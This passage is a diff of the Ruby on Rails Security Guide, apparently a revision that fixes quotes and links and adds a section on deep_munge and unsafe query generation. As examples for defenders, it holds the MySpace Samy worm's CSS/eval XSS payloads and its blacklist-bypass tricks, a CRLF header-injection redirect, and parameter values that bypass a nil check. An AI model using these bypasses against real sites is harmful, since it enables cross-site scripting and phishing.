+ Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
764
772
 
765
- In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
773
+ In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
766
774
 
767
775
  The MySpace Samy worm will be discussed in the CSS Injection section.
768
776
 
@@ -784,13 +792,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the
784
792
  <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
785
793
  ```
786
794
 
787
- The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word innerHTML”:
795
+ The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
788
796
 
789
797
  ```
790
798
  alert(eval('document.body.inne' + 'rHTML'));
791
799
  ```
792
800
 
793
- The next problem was MySpace filtering the word javascript”, so the author used java&lt;NEWLINE&gt;script" to get around this:
801
+ The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:
794
802
 
795
803
  ```html
796
804
  <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
@@ -804,7 +812,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr
804
812
 
805
813
  #### Countermeasures
806
814
 
807
- This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
815
+ This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
808
816
 
809
817
  ### Textile Injection
810
818
 
@@ -837,9 +845,9 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_
837
845
 
838
846
  ### Ajax Injection
839
847
 
840
- NOTE: _The same security precautions have to be taken for Ajax actions as for normal ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
848
+ NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
841
849
 
842
- If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
850
+ If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
843
851
 
844
852
  ### Command Line Injection
845
853
 
@@ -861,7 +869,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances
861
869
 
862
870
  HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
863
871
 
864
- Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a referer field in a form to redirect to the given address:
872
+ Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
865
873
 
866
874
  ```ruby
867
875
  redirect_to params[:referer]
@@ -888,7 +896,7 @@ HTTP/1.1 302 Moved Temporarily
888
896
  Location: http://www.malicious.tld
889
897
  ```
890
898
 
891
- So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
899
+ So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
892
900
 
893
901
  #### Response Splitting
894
902
 
@@ -913,6 +921,49 @@ Content-Type: text/html
913
921
 
914
922
  Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
915
923
 
924
+ Unsafe Query Generation
925
+ -----------------------
926
+
927
+ Due to the way Active Record interprets parameters in combination with the way
928
+ that Rack parses query parameters it was possible to issue unexpected database
929
+ queries with `IS NULL` where clauses. As a response to that security issue
930
+ ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
931
+ [CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
932
+ and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
933
+ `deep_munge` method was introduced as a solution to keep Rails secure by default.
934
+
935
+ Example of vulnerable code that could be used by attacker, if `deep_munge`
936
+ wasn't performed is:
937
+
938
+ ```ruby
939
+ unless params[:token].nil?
940
+ user = User.find_by_token(params[:token])
941
+ user.reset_password!
942
+ end
943
+ ```
944
+
945
+ When `params[:token]` is one of: `[]`, `[nil]`, `[nil, nil, ...]` or
946
+ `['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
947
+ `IN ('foo', NULL)` where clauses still will be added to the SQL query.
948
+
949
+ To keep rails secure by default, `deep_munge` replaces some of the values with
950
+ `nil`. Below table shows what the parameters look like based on `JSON` sent in
951
+ request:
952
+
953
+ | JSON | Parameters |
954
+ |-----------------------------------|--------------------------|
955
+ | `{ "person": null }` | `{ :person => nil }` |
956
+ | `{ "person": [] }` | `{ :person => nil }` |
957
+ | `{ "person": [null] }` | `{ :person => nil }` |
958
+ | `{ "person": [null, null, ...] }` | `{ :person => nil }` |
959
+ | `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` |
960
+
961
+ It is possible to return to old behaviour and disable `deep_munge` configuring
962
+ your application if you are aware of the risk and know how to handle it:
963
+
964
+ ```ruby
965
+ config.action_dispatch.perform_deep_munge = false
966
+ ```
916
967
 
917
968
  Default Headers
918
969
  ---------------
@@ -942,7 +993,7 @@ Or you can remove them.
942
993
  config.action_dispatch.default_headers.clear
943
994
  ```
944
995
 
945
- Here is the list of common headers:
996
+ Here is a list of common headers:
946
997
 
947
998
  * X-Frame-Options
948
999
  _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
@@ -951,7 +1002,7 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at
951
1002
  * X-Content-Type-Options
952
1003
  _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
953
1004
  * X-Content-Security-Policy
954
- [A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
1005
+ [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
955
1006
  * Access-Control-Allow-Origin
956
1007
  Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
957
1008
  * Strict-Transport-Security
@@ -960,7 +1011,7 @@ Used to control which sites are allowed to bypass same origin policies and send
960
1011
  Environmental Security
961
1012
  ----------------------
962
1013
 
963
- It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
1014
+ It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
964
1015
 
965
1016
  Additional Resources
966
1017
  --------------------